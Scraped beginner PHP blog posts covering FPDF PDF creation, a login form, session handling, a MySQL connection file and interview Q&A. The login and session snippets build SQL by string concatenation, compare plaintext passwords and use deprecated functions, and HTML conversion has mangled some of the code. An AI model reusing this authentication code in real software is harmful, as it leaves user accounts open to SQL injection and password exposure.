<br />
<br />
<br />
<br />
<br />
<br /></div><div class="blogger-post-footer">Thank you for your feedback.</div>Anonymoushttp://www.blogger.com/profile/17907670525124111691noreply@blogger.com22tag:blogger.com,1999:blog-9099073570000665072.post-4064832450373887972012-01-07T05:09:00.000-08:002012-01-07T05:13:59.695-08:00How to create pdf file in php?<div dir="ltr" style="text-align: left;" trbidi="on">
<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="http://1.bp.blogspot.com/-W2Tafh-DBHw/TwhDN9BegsI/AAAAAAAABlI/6eI7kKgEIIw/s1600/pdf_php-375x250.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="213" src="http://1.bp.blogspot.com/-W2Tafh-DBHw/TwhDN9BegsI/AAAAAAAABlI/6eI7kKgEIIw/s320/pdf_php-375x250.jpg" width="320" /></a></div>
<br />
<br />
To create pdf file in php. we need to install some class.<br />
this you can download from..<br />
http://www.fpdf.org/en/download.php<br />
<br />
After download put it into your directory..<br />
<br />
and create a new file hello.php in that folder...<br />
it important to your file make in this folder..[where fpdf.php will be save]<br />
<br />
now past this code in hello.php and save it..<br />
<span style="color: red;">< php</span><br />
<span style="color: red;">require('fpdf.php');</span><br />
<span style="color: red;">$pdf = new FPDF();</span><br />
<span style="color: red;">$pdf->AddPage();</span><br />
<span style="color: red;">$pdf->SetFont('Arial','B',16);</span><br />
<span style="color: red;">$pdf->Cell(40,10,'Hello World!');</span><br />
<span style="color: red;">$pdf->Output();</span><br />
<span style="color: red;"> ></span><br />
<br />
In this code..<br />
The <span style="color: red;">FPDF()</span> constructor is used here with the default values: pages are in A4 portrait.<br />
You can change it by...<br />
$pdf = new FPDF('P','mm','A4');<br />
<br />
Now There's no page at the moment, so we have to add one with <span style="color: red;">AddPage()</span>.<br />
AddPage(oraientation, size)<br />
Oraientation = P or Portrait, L or Landscape<br />
<br />
size: A3, A4, A5..<br />
<br />
Now before we can print text, it's mandatory to select a font with <span style="color: red;">SetFont()</span>, otherwise the document would be invalid. We choose Arial bold 16:<br />
<br />
Now We can now print a cell with <span style="color: red;">Cell().</span> A cell is a rectangular area, possibly framed, which contains a line of text.<br />
Cell( w , h , txt , border , ln , align , fill , link)<br />
w-width<br />
<br />
h-height<br />
<br />
txt-string<br />
<br />
border- 0=No border, 1=Frame<br />
<br />
ln- Indicates where the current position should go after the call [0-to the right, 1-to the beginning of next line, 2-below]<br />
<br />
align- L-left, R-Right, C-Center<br />
<br />
Fill- true=painted, false=transparent[default false.]<br />
<br />
link- URL<br />
<div>
............</div>
<div>
For Details of all class... See this links..</div>
<div>
http://www.fpdf.org/en/doc/index.php</div>
<div>
<br /></div>
</div><div class="blogger-post-footer">Thank you for your feedback.</div>Anonymoushttp://www.blogger.com/profile/17907670525124111691noreply@blogger.com19tag:blogger.com,1999:blog-9099073570000665072.post-89714826798993630632011-12-14T10:49:00.000-08:002011-12-14T10:49:09.594-08:00login check in php<div dir="ltr" style="text-align: left;" trbidi="on">
<br />
<br />
<link href="images/shortcut icon ndr.png" rel="shortcut icon" type="image/x-icon"></link> // For shot icon on tab//<br />
<br />
<br />
<script type="text/javascript">
</p>
<p>
function validate()</p>
<p>
{</p>
<p>
<span class="Apple-tab-span" style="white-space:pre"> </span></p>
<p>
<span class="Apple-tab-span" style="white-space:pre"> </span></p>
<p>
<span class="Apple-tab-span" style="white-space:pre"> </span>u=document.getElementById("email").value;</p>
<p>
<span class="Apple-tab-span" style="white-space:pre"> </span>p=document.getElementById("password").value;</p>
<p>
<span class="Apple-tab-span" style="white-space:pre"> </span>var m;</p>
<p>
<span class="Apple-tab-span" style="white-space:pre"> </span>if(u=='' && p=='')</p>
<p>
<span class="Apple-tab-span" style="white-space:pre"> </span>{</p>
<p>
<span class="Apple-tab-span" style="white-space:pre"> </span></p>
<p>
<span class="Apple-tab-span" style="white-space:pre"> </span>alert('Enter Email and Password');</p>
<p>
<span class="Apple-tab-span" style="white-space:pre"> </span>return false;</p>
<p>
<span class="Apple-tab-span" style="white-space:pre"> </span>}</p>
<p>
<span class="Apple-tab-span" style="white-space:pre"> </span> else if(u==''){</p>
<p>
<span class="Apple-tab-span" style="white-space:pre"> </span> </p>
<p>
<span class="Apple-tab-span" style="white-space:pre"> </span> alert('Enter email');</p>
<p>
<span class="Apple-tab-span" style="white-space:pre"> </span> return false;</p>
<p>
<span class="Apple-tab-span" style="white-space:pre"> </span> }</p>
<p>
<span class="Apple-tab-span" style="white-space:pre"> </span> else if(p==''){</p>
<p>
<span class="Apple-tab-span" style="white-space:pre"> </span> </p>
<p>
<span class="Apple-tab-span" style="white-space:pre"> </span> alert('Enter password');</p>
<p>
<span class="Apple-tab-span" style="white-space:pre"> </span> return false;</p>
<p>
<span class="Apple-tab-span" style="white-space:pre"> </span></p>
<p>
<span class="Apple-tab-span" style="white-space:pre"> </span>}else{</p>
<p>
<span class="Apple-tab-span" style="white-space:pre"> </span></p>
<p>
<span class="Apple-tab-span" style="white-space:pre"> </span>return true;<span class="Apple-tab-span" style="white-space:pre"> </span></p>
<p>
<span class="Apple-tab-span" style="white-space:pre"> </span>}</p>
<p>
}</p>
<p>
</script><br />
<!--?php</p--><br />
include("config.php"); //connection file<br />
include("lock.php"); //session check file<br />
//include("logout.php");<br />
<br />
if($_SERVER["REQUEST_METHOD"] == "POST")<br />
{<br />
// username and password sent from Form<br />
$myemail=addslashes($_POST['email']);<br />
$mypassword=addslashes($_POST['password']);<br />
<br />
$sql="SELECT id FROM userdetails WHERE email='$myemail' and password='$mypassword'";<br />
<br />
$result=mysql_query($sql);<br />
$count=mysql_num_rows($result);<br />
$row=mysql_fetch_array($result);<br />
$active=$row['active'];<br />
<br />
<br />
<br />
// If result matched $myusername and $mypassword, table row must be 1 row<br />
if($count==1)<br />
{<br />
session_register("myemail");<br />
$_SESSION['login_user']=$myemail;<br />
<br />
header("location:../home.php");<br />
}<br />
else<br />
{<br />
?><br />
<br />
<!--?php </p--><br />
}<br />
}<br />
<br />
<br />
?><br />
<br />
<form action="" method="post">
<br />
<br />
<h2>
Email Id :<br />
<input class="input" id="email" maxlength="2048" name="email" size="30" style="color: #8bbf36; font-size: 15px; margin-left: 15px;" type="text" /><br />
<br />
</h2>
<br />
<br />
<h3>
Password :<br />
<input class="input" id="password" maxlength="2048" name="password" size="30" style="color: #8bbf36; font-size: 15px;" type="password" /><br />
</h3>
<br />
<br />
<br />
<h4>
<br />
<input class="checkbox" id="remember_me" name="RememberMe" tabindex="3" type="checkbox" value="true" /><br />
Remember me on this computer</h4>
<br />
<br />
<br />
<input ="" id="submit" onclick="return validate();" type="submit" value="Login" /><br />
<br />
</form>
<br />
<br />
<br />
<br />
<br />
<div>
<br /></div>
</div><div class="blogger-post-footer">Thank you for your feedback.</div>Anonymoushttp://www.blogger.com/profile/17907670525124111691noreply@blogger.com0tag:blogger.com,1999:blog-9099073570000665072.post-80424737855621266702011-12-14T10:42:00.001-08:002011-12-14T10:42:57.703-08:00session destroy or unset in php<div dir="ltr" style="text-align: left;" trbidi="on">
<br />
<br />
session_start();<br />
if(isset($_POST['logout'])){<br />
<span class="Apple-tab-span" style="white-space: pre;"> </span>session_destroy();<br />
<span class="Apple-tab-span" style="white-space: pre;"> </span>session_unset();<br />
<span class="Apple-tab-span" style="white-space: pre;"> </span>header("Location:../login");<br />
}<br />
?></div><div class="blogger-post-footer">Thank you for your feedback.</div>Anonymoushttp://www.blogger.com/profile/17907670525124111691noreply@blogger.com0tag:blogger.com,1999:blog-9099073570000665072.post-61847734275481262592011-12-14T10:41:00.000-08:002011-12-14T10:41:35.122-08:00session check in php<div dir="ltr" style="text-align: left;" trbidi="on">
<br />
<!--?php</p--><br />
include('config.php'); //connection file<br />
session_start();<br />
$user_check=$_SESSION['login_user'];<br />
$ses_sql=mysql_query("select email from userdetails where email='$user_check' ");<br />
$row=mysql_fetch_array($ses_sql);<br />
$login_session=$row['email'];<br />
$sesp_sql=mysql_query("select fname from userdetails where email='$user_check' ");<br />
$rows=mysql_fetch_array($sesp_sql);<br />
$login_session1=$rows['fname'];<br />
if(!isset($login_session))<br />
{<br />
<br />
}<br />
else<br />
{<br />
header("Location:../home.php");<br />
}<br />
?><br />
</div><div class="blogger-post-footer">Thank you for your feedback.</div>Anonymoushttp://www.blogger.com/profile/17907670525124111691noreply@blogger.com0tag:blogger.com,1999:blog-9099073570000665072.post-14215963312496133022011-12-14T10:37:00.000-08:002011-12-14T10:39:08.732-08:00Connection in php<div dir="ltr" style="text-align: left;" trbidi="on">
<!--? php </p--><br />
$mysql_hostname = "locahost";<br />
$mysql_user = "root";<br />
$mysql_password = "";<br />
$mysql_database = "table name[userdetails]";<br />
$con = mysql_connect($mysql_hostname, $mysql_user, $mysql_password)<br />
or die("Opps some thing went wrong or not connect to databse");<br />
mysql_select_db("database name", $con) or die("Opps some thing or not selected db ....");<br />
?></div><div class="blogger-post-footer">Thank you for your feedback.</div>Anonymoushttp://www.blogger.com/profile/17907670525124111691noreply@blogger.com0tag:blogger.com,1999:blog-9099073570000665072.post-47867751041611915932011-12-12T09:19:00.000-08:002013-03-04T22:18:17.528-08:00Most Common php + mysql interview questions<div dir="ltr" style="text-align: left;" trbidi="on">
<span class="Apple-style-span" style="font-family: Arial, Helvetica, sans-serif;"><br /></span>
<br />
<div style="text-align: -webkit-auto;">
<span class="Apple-style-span" style="background-color: white; color: #0c343d; font-family: Arial, Helvetica, sans-serif; line-height: 21px;">These are some of the PHP and MySQL question that you cannot avoid.</span><br />
<span class="Apple-style-span" style="font-family: Arial, Helvetica, sans-serif;"><span class="Apple-style-span" style="color: #0c343d; line-height: 21px;">All questions i got from this site <b><a href="http://knowlspace.wordpress.com/2011/06/21/most-common-php-mysql-interview-questions/" target="_blank">CLICK HERE</a></b></span></span><br />
<span class="Apple-style-span" style="font-family: Arial, Helvetica, sans-serif;"><span class="Apple-style-span" style="line-height: 21px;"><span class="Apple-style-span" style="color: black;"><br /></span></span></span>
<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="http://2.bp.blogspot.com/-5bSEdidvAXU/TuZa1zI9BgI/AAAAAAAABkw/Dwnpg7pJLo4/s1600/malaysia-php-mysql.gif" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="http://2.bp.blogspot.com/-5bSEdidvAXU/TuZa1zI9BgI/AAAAAAAABkw/Dwnpg7pJLo4/s1600/malaysia-php-mysql.gif" /></a></div>
<span class="Apple-style-span" style="font-family: Arial, Helvetica, sans-serif;"><span class="Apple-style-span" style="line-height: 21px;"><span class="Apple-style-span" style="color: black;"><br /></span></span></span>
<span class="Apple-style-span" style="background-color: white; font-family: Arial, Helvetica, sans-serif; line-height: 21px;"><br /></span></div>
<div style="text-align: -webkit-auto;">
<span class="Apple-style-span" style="background-color: white; font-family: Arial, Helvetica, sans-serif; line-height: 21px;"><b>1 ) What will you use to initialize a string ? ie with single quotes or double quotes ?</b></span></div>
<div style="text-align: -webkit-auto;">
<span class="Apple-style-span" style="font-family: Arial, Helvetica, sans-serif;"><span class="Apple-style-span" style="background-color: white; line-height: 21px;"><b>Ans:</b> </span></span><br />
<span class="Apple-style-span" style="color: #38761d; font-family: Arial, Helvetica, sans-serif;"><span class="Apple-style-span" style="background-color: white;">Unlike the </span>double-quoted<span class="Apple-style-span" style="background-color: white;"> </span><span class="Apple-style-span" style="background-color: white;">syntaxes, </span>variables<span class="Apple-style-span" style="background-color: white;"> and escape sequences for special characters will </span><em class="emphasis" style="background-color: white;">not</em><span class="Apple-style-span" style="background-color: white;"> be expanded when they occur in single quoted </span><span class="type" style="background-color: white;">string</span><span class="Apple-style-span" style="background-color: white;">s.</span></span></div>
<div style="text-align: -webkit-auto;">
<div class="para" style="background-color: white;">
<span class="Apple-style-span" style="color: #38761d; font-family: Arial, Helvetica, sans-serif;">As in single quoted <span class="type">string</span>s, escaping any other character will result in the backslash being printed too. Before PHP 5.1.1, the backslash in <i>\{$var}</i>had not been printed.</span></div>
<div class="para" style="background-color: white;">
<span class="Apple-style-span" style="color: #38761d; font-family: Arial, Helvetica, sans-serif;">The most important feature of double-quoted <span class="type">string</span>s is the fact that variable names will be expanded.</span></div>
<div class="para" style="background-color: white;">
<span class="Apple-style-span" style="font-family: Arial, Helvetica, sans-serif;"><br /></span></div>
<div class="para" style="background-color: white;">
<span class="Apple-style-span" style="font-family: Arial, Helvetica, sans-serif; line-height: 21px;"><b>2 ) You have a string “hi all, I said hello” . You want to replace the occourence of hi with hello and hello with hi . What will you do ?</b></span></div>
<div class="para">
<span class="Apple-style-span" style="background-color: white; font-family: Arial, Helvetica, sans-serif; line-height: 21px;"><b>Ans: </b></span></div>
<div class="para">
<span class="Apple-style-span" style="color: #38761d; font-family: Arial, Helvetica, sans-serif;"><span class="Apple-style-span" style="background-color: white; line-height: 21px;"> $rawstring</span><span class="Apple-style-span" style="background-color: white; line-height: 21px; white-space: pre;">= "</span><span class="Apple-style-span" style="background-color: white; line-height: 21px;">hi all, I said hello";</span></span></div>
<div class="para">
<span class="Apple-style-span" style="background-color: white; color: #38761d; font-family: Arial, Helvetica, sans-serif; line-height: 21px;">$placeholders = array('hi', 'hello'')</span></div>
<div class="para">
<span class="Apple-style-span" style="background-color: white; color: #38761d; font-family: Arial, Helvetica, sans-serif; line-height: 21px;">$malevals = array('hello', hi');</span></div>
<div class="para">
<span class="Apple-style-span" style="background-color: white; color: #38761d; font-family: Arial, Helvetica, sans-serif; line-height: 21px;">$malestr = str_replace($placeholders, $malevals, $rawstring);</span></div>
<div class="para">
<span class="Apple-style-span" style="background-color: white; color: #38761d; font-family: Arial, Helvetica, sans-serif; line-height: 21px;">echo $malestr ;</span><br />
<span class="Apple-style-span" style="background-color: white; color: #38761d; font-family: Arial, Helvetica, sans-serif; line-height: 21px;"><br /></span>
<span class="Apple-style-span" style="background-color: white; color: #38761d; font-family: Arial, Helvetica, sans-serif; line-height: 21px;">SORRY this wrong answer that give problem in output because we replace first hello to hi then we find two times hi so, it's create problem.. </span><br />
<span class="Apple-style-span" style="background-color: white; color: #38761d; font-family: Arial, Helvetica, sans-serif; line-height: 21px;"><br /></span>
<span class="Apple-style-span" style="background-color: white; color: #38761d; font-family: Arial, Helvetica, sans-serif; line-height: 21px;">True answer..</span><br />
<span class="Apple-style-span" style="background-color: white; color: #38761d; font-family: Arial, Helvetica, sans-serif; line-height: 21px;">Replace With unique </span><span style="color: #38761d; font-family: Arial, Helvetica, sans-serif;"><span style="line-height: 21px;">identifiers..</span></span><br />
<span style="color: #38761d; font-family: Arial, Helvetica, sans-serif;"><span style="line-height: 21px;">$replace = array( </span></span><br />
<span style="color: #38761d; font-family: Arial, Helvetica, sans-serif;"><span style="line-height: 21px;">'hi' => '^', </span></span><br />
<span style="color: #38761d; font-family: Arial, Helvetica, sans-serif;"><span style="line-height: 21px;">'hello' => '*',</span></span><br />
<span style="color: #38761d; font-family: Arial, Helvetica, sans-serif;"><span style="line-height: 21px;">'^' => 'hello',</span></span><br />
<span style="color: #38761d; font-family: Arial, Helvetica, sans-serif;"><span style="line-height: 21px;">'*' => 'hi'</span></span><br />
<span style="color: #38761d; font-family: Arial, Helvetica, sans-serif;"><span style="line-height: 21px;">); </span></span><br />
<span class="Apple-style-span" style="background-color: white; color: #38761d; font-family: Arial, Helvetica, sans-serif; line-height: 21px;"><br /></span>
<span style="color: #38761d; font-family: Arial, Helvetica, sans-serif;"><span style="line-height: 21px;">echo str_replace(array_keys($replace), array_values($replace), $</span></span><span style="background-color: white; color: #38761d; font-family: Arial, Helvetica, sans-serif; line-height: 21px;">rawstring</span><span style="color: #38761d; font-family: Arial, Helvetica, sans-serif;"><span style="line-height: 21px;">);</span></span></div>
<div class="para">
<span class="Apple-style-span" style="font-family: Arial, Helvetica, sans-serif;"><span class="Apple-style-span" style="color: #38761d; line-height: 21px;">---</span></span></div>
<div class="para">
<span class="Apple-style-span" style="background-color: white; color: #38761d; font-family: Arial, Helvetica, sans-serif; line-height: 21px;">ereg() - Regular expression match</span></div>
<div class="para">
<span class="Apple-style-span" style="background-color: white; color: #38761d; font-family: Arial, Helvetica, sans-serif; line-height: 21px;">eregi() - Case insensitive regular expression match</span></div>
<div class="para">
<span class="Apple-style-span" style="background-color: white; color: #38761d; font-family: Arial, Helvetica, sans-serif; line-height: 21px;">eregi_replace() - Replace regular expression case insensitive</span></div>
<div class="para">
<span class="Apple-style-span" style="background-color: white; color: #38761d; font-family: Arial, Helvetica, sans-serif; line-height: 21px;">str_replace() - Replace all occurrences of the search string with the replacement string</span></div>
<div class="para">
<span class="Apple-style-span" style="background-color: white; color: #38761d; font-family: Arial, Helvetica, sans-serif; line-height: 21px;">preg_match() - Perform a regular expression match</span></div>
<div class="para">
<span class="Apple-style-span" style="background-color: white; color: #38761d; font-family: Arial, Helvetica, sans-serif; line-height: 21px;">==============</span></div>
<div class="para">
<span class="Apple-style-span" style="background-color: white; color: #38761d; font-family: Arial, Helvetica, sans-serif; line-height: 21px;">more details: </span></div>
<div class="para">
<a href="http://php.net/manual/en/function.ereg-replace.php"><span class="Apple-style-span" style="color: #38761d; font-family: Arial, Helvetica, sans-serif;">http://php.net/manual/en/function.ereg-replace.php</span></a></div>
<div class="para">
<a href="http://www.tizag.com/phpT/php-string-str_replace.php"><span class="Apple-style-span" style="color: #38761d; font-family: Arial, Helvetica, sans-serif;">http://www.tizag.com/phpT/php-string-str_replace.php</span></a></div>
<div class="para">
<span class="Apple-style-span" style="background-color: white; font-family: Arial, Helvetica, sans-serif;"><br /></span></div>
<div class="para">
<span class="Apple-style-span" style="font-family: Arial, Helvetica, sans-serif; line-height: 21px;"><b style="background-color: white;">3 ) What’s the difference between PHP4 and PHP5 ?</b></span></div>
<div class="para">
<span class="Apple-style-span" style="font-family: Arial, Helvetica, sans-serif; line-height: 21px;"><b style="background-color: white;">Ans:</b></span><br />
<span class="Apple-style-span" style="background-color: white; color: #38761d; font-family: Arial, Helvetica, sans-serif;">The new OOP features in PHP5 is probably the one thing that everyone knows for sure about. Out of all the new features, these are the ones that are talked about most!</span><br />
<span class="Apple-style-span" style="background-color: white; color: #38761d; font-family: Arial, Helvetica, sans-serif;"><br /></span>
<span class="Apple-style-span" style="background-color: white; color: #38761d; font-family: Arial, Helvetica, sans-serif;"><span class="Apple-style-span">1. </span><span style="text-align: left;">Passed by Reference</span></span><br />
<div style="text-align: left;">
<span class="Apple-style-span" style="background-color: white; color: #38761d; font-family: Arial, Helvetica, sans-serif;">2. Visibility[public, protected, private]</span></div>
<div style="text-align: left;">
<span class="Apple-style-span" style="background-color: white; color: #38761d; font-family: Arial, Helvetica, sans-serif;">3. Unified Constructors and Destructors</span></div>
<div style="text-align: left;">
<span class="Apple-style-span" style="background-color: white; color: #38761d; font-family: Arial, Helvetica, sans-serif;">4. The __autoload Function</span></div>
<div style="text-align: left;">
<span style="background-color: #f8fafb;"><span class="Apple-style-span" style="color: #38761d; font-family: Arial, Helvetica, sans-serif;">===========</span></span></div>
<div style="text-align: left;">
<span style="background-color: #f8fafb;"><span class="Apple-style-span" style="color: #38761d; font-family: Arial, Helvetica, sans-serif;">more details:</span></span></div>
<div style="text-align: left;">
<a href="http://tycoontalk.freelancer.com/php-forum/78717-differences-between-php4-and-php5.html"><span class="Apple-style-span" style="color: #38761d; font-family: Arial, Helvetica, sans-serif;">http://tycoontalk.freelancer.com/php-forum/78717-differences-between-php4-and-php5.html</span></a></div>
</div>
<div class="para">
<span class="Apple-style-span" style="background-color: white; font-family: Arial, Helvetica, sans-serif; line-height: 21px;"><br /></span></div>
<div class="para">
<span class="Apple-style-span" style="background-color: white; font-family: Arial, Helvetica, sans-serif; line-height: 21px;"><b>4 ) What’s all added in PHP 5.3 ?</b></span><br />
<span class="Apple-style-span" style="background-color: white; font-family: Arial, Helvetica, sans-serif; line-height: 21px;"><b>Ans:</b></span><br />
<div class="simpara" style="background-color: white;">
<span class="Apple-style-span" style="color: #38761d; font-family: Arial, Helvetica, sans-serif;">PHP 5.3.0 offers a wide range of new features:</span></div>
<ul class="itemizedlist" style="background-color: white;">
<li class="listitem" style="list-style-type: square; padding-bottom: 3px; padding-top: 3px;"><span class="simpara" style="color: #38761d; font-family: Arial, Helvetica, sans-serif;">Support for namespaces has been added.</span></li>
<li class="listitem" style="list-style-type: square; padding-bottom: 3px; padding-top: 3px;"><span class="simpara" style="color: #38761d; font-family: Arial, Helvetica, sans-serif;">Support for Late Static Bindings has been added.</span></li>
<li class="listitem" style="list-style-type: square; padding-bottom: 3px; padding-top: 3px;"><span class="simpara" style="color: #38761d; font-family: Arial, Helvetica, sans-serif;">Support for jump labels (limited goto) has been added.</span></li>
<li class="listitem" style="list-style-type: square; padding-bottom: 3px; padding-top: 3px;"><span class="simpara" style="color: #38761d; font-family: Arial, Helvetica, sans-serif;">Support for native Closures (Lambda/Anonymous functions) has been added.</span></li>
<li class="listitem" style="list-style-type: square; padding-bottom: 3px; padding-top: 3px;"><span class="simpara" style="color: #38761d; font-family: Arial, Helvetica, sans-serif;">There are two new magic methods, __callStatic and __invoke.</span></li>
<li class="listitem" style="list-style-type: square; padding-bottom: 3px; padding-top: 3px;"><span class="simpara" style="color: #38761d; font-family: Arial, Helvetica, sans-serif;">Nowdoc syntax is now supported, similar to Heredoc syntax, but with single quotes.</span></li>
<li class="listitem" style="list-style-type: square; padding-bottom: 3px; padding-top: 3px;"><span class="simpara" style="color: #38761d; font-family: Arial, Helvetica, sans-serif;">It is now possible to use Heredocs to initialize static variables and class properties/constants.</span></li>
<li class="listitem" style="list-style-type: square; padding-bottom: 3px; padding-top: 3px;"><span class="simpara" style="color: #38761d; font-family: Arial, Helvetica, sans-serif;">Heredocs may now be declared using double quotes, complementing the Nowdoc syntax.</span></li>
<li class="listitem" style="list-style-type: square; padding-bottom: 3px; padding-top: 3px;"><span class="simpara" style="color: #38761d; font-family: Arial, Helvetica, sans-serif;">Constants can now be declared outside a class using the <i>const</i> keyword.</span></li>
<li class="listitem" style="list-style-type: square; padding-bottom: 3px; padding-top: 3px;"><span class="simpara" style="color: #38761d; font-family: Arial, Helvetica, sans-serif;">The ternary operator now has a shorthand form: <i>?:</i>.</span></li>
<li class="listitem" style="list-style-type: square; padding-bottom: 3px; padding-top: 3px;"><span class="simpara" style="color: #38761d; font-family: Arial, Helvetica, sans-serif;">The HTTP stream wrapper now considers all status codes from 200 to 399 to be successful.</span></li>
<li class="listitem" style="list-style-type: square; padding-bottom: 3px; padding-top: 3px;"><span class="simpara" style="color: #38761d; font-family: Arial, Helvetica, sans-serif;">Dynamic access to static methods is now possible.</span></li>
<li class="listitem" style="list-style-type: square; padding-bottom: 3px; padding-top: 3px;"><span class="simpara" style="color: #38761d; font-family: Arial, Helvetica, sans-serif;">Exceptions can now be nested.</span></li>
<li class="listitem" style="list-style-type: square; padding-bottom: 3px; padding-top: 3px;"><span class="simpara" style="color: #38761d; font-family: Arial, Helvetica, sans-serif;">A garbage collector for circular references has been added, and is enabled by default.</span></li>
<li class="listitem" style="list-style-type: square; padding-bottom: 3px; padding-top: 3px;"><span class="simpara" style="color: #38761d; font-family: Arial, Helvetica, sans-serif;">The <span class="function">mail()</span> function now supports logging of sent email.</span></li>
</ul>
<div>
<span class="Apple-style-span" style="color: #38761d; font-family: Arial, Helvetica, sans-serif;">========</span></div>
<div>
<span class="Apple-style-span" style="color: #38761d; font-family: Arial, Helvetica, sans-serif;">more details:</span></div>
<div>
<a href="http://php.net/manual/en/migration53.new-features.php"><span class="Apple-style-span" style="color: #38761d; font-family: Arial, Helvetica, sans-serif;">http://php.net/manual/en/migration53.new-features.php</span></a></div>
<div>
<span class="Apple-style-span" style="font-family: Arial, Helvetica, sans-serif;"><br /></span></div>
<div>
<span class="Apple-style-span" style="background-color: white; font-family: Arial, Helvetica, sans-serif; line-height: 21px;"><b>5 ) What’s Name spacing ?</b></span></div>
<div>
<span class="Apple-style-span" style="background-color: white; font-family: Arial, Helvetica, sans-serif; line-height: 21px;"><b>Ans:</b></span></div>
<div>
<div class="simpara" style="background-color: white;">
<span class="Apple-style-span" style="color: #38761d; font-family: Arial, Helvetica, sans-serif;">In the PHP world, namespaces are designed to solve two problems that authors of libraries and applications encounter when creating re-usable code elements such as classes or functions:</span></div>
<div class="para" style="background-color: white;">
</div>
<ol style="background-color: white;" type="1">
<li class="listitem" style="padding-bottom: 3px; padding-top: 3px;"><span class="simpara" style="color: #38761d; font-family: Arial, Helvetica, sans-serif;">Name collisions between code you create, and internal PHP classes/functions/constants or third-party classes/functions/constants.</span></li>
<li class="listitem" style="padding-bottom: 3px; padding-top: 3px;"><span class="simpara" style="color: #38761d; font-family: Arial, Helvetica, sans-serif;">Ability to alias (or shorten) Extra_Long_Names designed to alleviate the first problem, improving readability of source code.</span></li>
</ol>
<div style="background-color: white;">
</div>
<div class="simpara" style="background-color: white;">
<span class="Apple-style-span" style="color: #38761d; font-family: Arial, Helvetica, sans-serif;">PHP Namespaces provide a way in which to group related classes, interfaces, functions and constants.</span></div>
<div class="simpara" style="background-color: white;">
<span class="Apple-style-span" style="font-family: Arial, Helvetica, sans-serif;"><br /></span></div>
<div class="simpara" style="background-color: white;">
<span class="Apple-style-span" style="font-family: Arial, Helvetica, sans-serif; line-height: 21px;"><b>6 ) What are the types of inheritance PHP supports ?</b></span></div>
<div class="simpara" style="background-color: white;">
<span class="Apple-style-span" style="font-family: Arial, Helvetica, sans-serif; line-height: 21px;"><b>Ans:</b></span></div>
<div class="simpara" style="background-color: white;">
<span class="Apple-style-span" style="color: #38761d; font-family: Arial, Helvetica, sans-serif;"><span class="Apple-style-span" style="line-height: 20px;">Similar to Java, PHP supports single inheritance. There is no multiple inheritance in php. Single inheritance means a class can extend only one parent class.</span><br style="line-height: 20px; text-align: left;" /><br style="line-height: 20px; text-align: left;" /><span class="Apple-style-span" style="line-height: 20px; text-align: left;">PHP also has interfaces which can be implemented if bunch of classes need to have similar functionality. An interface can be created containing methods with empty body. Implementing classes then must provide body to those methods.</span><br style="line-height: 20px; text-align: left;" /><br style="line-height: 20px; text-align: left;" /><span class="Apple-style-span" style="line-height: 20px; text-align: left;">When a class implements an interface, it is signing up a contract that it will provide implementation to methods declared in that interface.</span></span></div>
<div class="simpara" style="background-color: white;">
<span class="Apple-style-span" style="font-family: Arial, Helvetica, sans-serif; line-height: 20px; text-align: left;"><br /></span></div>
<div class="simpara" style="background-color: white;">
<span class="Apple-style-span" style="font-family: Arial, Helvetica, sans-serif; line-height: 21px;"><b>7 ) What do you mean by an Abstract class and Interface ?</b></span></div>
<div class="simpara" style="background-color: white;">
<span class="Apple-style-span" style="font-family: Arial, Helvetica, sans-serif; line-height: 21px;"><b>Ans:</b></span></div>
<div class="simpara" style="background-color: white;">
</div>
<div style="background-attachment: initial; background-clip: initial; background-image: initial; background-origin: initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; clear: both; line-height: 18px; margin-bottom: 1em; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; text-align: left; vertical-align: baseline; word-wrap: break-word;">
<span class="Apple-style-span" style="color: #38761d; font-family: Arial, Helvetica, sans-serif;">Depending on the context, an interface class is either a class of the interface layer or a class whose purpose is to create a contract between a caller and an implementation (usually by providing only purely virtual functions).</span></div>
<div style="background-attachment: initial; background-clip: initial; background-image: initial; background-origin: initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; clear: both; line-height: 18px; margin-bottom: 1em; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; text-align: left; vertical-align: baseline; word-wrap: break-word;">
<span class="Apple-style-span" style="color: #38761d; font-family: Arial, Helvetica, sans-serif;">An abstract class is a class that has at least one purely virtual function. <span class="Apple-style-span" style="line-height: 20px;">Abstract classes can contain abstract and concrete methods. Abstract classes cannot be instantiated directly i.e. we cannot call the constructor of an abstract class directly nor we can create an instance of an abstract class</span></span></div>
<div style="background-attachment: initial; background-clip: initial; background-image: initial; background-origin: initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; clear: both; line-height: 18px; margin-bottom: 1em; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; text-align: left; vertical-align: baseline; word-wrap: break-word;">
<span class="Apple-style-span" style="color: #38761d; font-family: Arial, Helvetica, sans-serif;">A static class is a class that has only static member variables and static member functions.</span></div>
<div style="background-attachment: initial; background-clip: initial; background-image: initial; background-origin: initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; clear: both; line-height: 18px; margin-bottom: 1em; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; text-align: left; vertical-align: baseline; word-wrap: break-word;">
<span class="Apple-style-span" style="color: #38761d; font-family: Arial, Helvetica, sans-serif;">======</span><br />
<span class="Apple-style-span" style="color: #38761d; font-family: Arial, Helvetica, sans-serif;">more details:</span><br />
<a href="http://www.interview-questions-java.com/abstract-class-interface.htm"><span class="Apple-style-span" style="color: #38761d; font-family: Arial, Helvetica, sans-serif;">http://www.interview-questions-java.com/abstract-class-interface.htm</span></a></div>
<div style="background-attachment: initial; background-clip: initial; background-image: initial; background-origin: initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; clear: both; margin-bottom: 1em; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; text-align: left; vertical-align: baseline; word-wrap: break-word;">
<div style="line-height: 18px;">
